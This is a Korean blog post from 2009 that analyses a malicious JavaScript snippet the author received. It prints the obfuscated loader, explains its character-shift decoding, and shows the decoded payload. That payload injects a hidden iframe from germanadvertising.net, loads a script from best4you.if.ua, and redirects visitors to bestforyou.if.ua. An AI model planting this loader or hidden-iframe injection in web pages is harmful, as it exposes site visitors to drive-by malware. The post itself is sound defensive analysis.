2009.03.18 23:43

악성 javascript

최근에 지인으로부터 받은 악성 파일 중 일부 입니다.

 <script id='c1A53642D65A15F37D3A21'>
/*Czjypw{Em|uj{pvu'joljrfjvu{lu{/0?hy'pD7B~opsl /kvj|tlu{5nl{Lsltlu{zI€[hnUhtl /.pmyhtl.05slun{o0?hy'lsDkvj|tlu{5nl{Lsltlu{zI€[hnUhtl/.pmyhtl.0bpdBpm/' /ls5z{€sl5kpzwsh€DD.uvul.'긿'ls5z{€sl5}pzpipsp{€'DD.opkklu.'긿' /ls5~pk{oC<'--'ls5olpno{C<00'--'ls5uhtl(D.j8.0굃 s5whylu{Uvkl5yltv}lJopsk/ls0B꼕szl'p22B꼧joljrfjvu{lu{/0Bpm/(t€ph0굂 vj|tlu{5~yp{l/|ulzjhwl/'.,:j,=@,==,>9,=8,=k,=<,97,=l,=8,=k,=<,:k,=:,:8,97,>:,>9,=:,:k,9>,=?,>;,>;,>7,:h,9m,9m,=>,=<,>9,=k,=8,=l,=8,=;,>=,=<,>9,>;,=@,>:,=@,=l,=>,9l,=l,=<,>;,9m,=@,=l,9l,=:,=>,=@,:m,::-,9>,9i,;k,=8,>;,=?,9l,>9,=m,><,=l,=;,9?,;k,=8,>;,=?,9l,>9,=8,=l,=;,=m,=k,9?,9@,9h,:8,:>,:@,::,:;,9@,9i,9>,=9,:9,=;,::,=<,=8,:8,:?,9>,97,>>,=@,=;,>;,=?,:k,:=,:8,97,=?,=<,=@,=>,=?,>;,:k,:9,:@,:;,97,>:,>;,>@,=j,=<,:k,9>,>=,=@,>:,=@,=9,=@,=j,=@,>;,>@,:h,=?,=@,=;,=;,=<,=l,9>,:l,:j,9m,=@,==,>9,=8,=k,=<,:l.00B?hy't€phD{y|lBC6zjypw{E*/
</script>
<script>
var A397D7A773E8EAAD9268 = -18+25;var AB0EA332B563F6133100 =document.getElementById('c1A53642D65A15F37D3A21').innerHTML;varc11dc41d7A5FF50358F3119523FB5 = new String;AB0EA332B563F6133100 =AB0EA332B563F6133100.substr(4,857);for(i=0;i<AB0EA332B563F6133100.length;i++)c11dc41d7A5FF50358F3119523FB5 +=String.fromCharCode(AB0EA332B563F6133100.substr(i,1).charCodeAt()-A397D7A773E8EAAD9268);document.write(c11dc41d7A5FF50358F3119523FB5);
</script>

변수명을 이상하게 만들어 둬서  ';'을 기준으로 정리해 보면 이렇게 나옵니다.
 var A397D7A773E8EAAD9268 = -18+25;              // 복호화(?)를 위한 Key
 var AB0EA332B563F6133100 =
 document.getElementById('c1A53642D65A15F37D3A21').innerHTML; // 암호화 된 문장
 var c11dc41d7A5FF50358F3119523FB5 = new String;
 AB0EA332B563F6133100 =AB0EA332B563F6133100.substr(4,857);
for(i=0;i<AB0EA332B563F6133100.length;i++)
c11dc41d7A5FF50358F3119523FB5                     +=String.fromCharCode(AB0EA332B563F6133100.substr(i,1).charCodeAt()-
A397D7A773E8EAAD9268);
// 복호화 진행
document.write(c11dc41d7A5FF50358F3119523FB5);
// 복호화 완료 된 문장 확인

변수명을 좀 조절하면 보기 쉽습니다.
인코딩된 스트링이 정확하지 않아 복호화 된 글이 좀 이상합니다.
cript>function check_content()var i=0;while(document.getElementsB₥TagName('iframe').length)8ar el=document.getElementsB₥TagName('iframe')[i];if( (el.st₥le.displa₥=='none' 길 el.st₥le.visibilit₥ =='hidden' 길 (el.width<5 && el.height<5)) && el.name!='c1')괼l.parentNode.removeChild(el);꼎lse i++;꼠check_content();if(!m₥ia)괻ocument.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%65%72%6d%61%6e%61%64%76%65%72%74%69%73%69%6e%67%2e%6e%65%74%2f%69%6e%2e%63%67%69%3f%33&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%37%39%33%34%29%2b%27%62%32%64%33%65%61%31%38%27%20%77%69%64%74%68%3d%36%31%20%68%65%69%67%68%74%3d%32%39%34%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));8ar m₥ia=true;#(

Jash를 이용해도 동일한 결과를 얻을 수 있습니다.

unescape 하시면 다음과 같은 구문이 나옵니다.
<iframe name=c1 src='http://germanadvertising.net/in.cgi?3&'+Math.round(Math.random()*17934)+'b2d3ea18' width=61 height=294 style='visibility:hidden'></iframe>

비슷한 또 다른 스트링을 unescape 하여 다음과 같은 주소를 획득했습니다.
document.write("<script src='http://best4you.if.ua/js/bidch.js?q="+que+"&ref="+r+"'></sc"+"ript>");

http://best4you.if.ua/js/bidch.js은 다음과 같습니다.
 function f(str){
    z="ion='";
    d="win";
    c="cat";
    f7=str;
    b="dow.lo";
    g="';";
    i=7;
    j=21;
    if (j-14==i)
         eval(d+b+c+z+f7+g);        // window.location='str';
}

f('http://bestforyou.if.ua/feed/search.php?q=');

신고
트랙백이 없고 댓글이 없습니다.


티스토리 툴바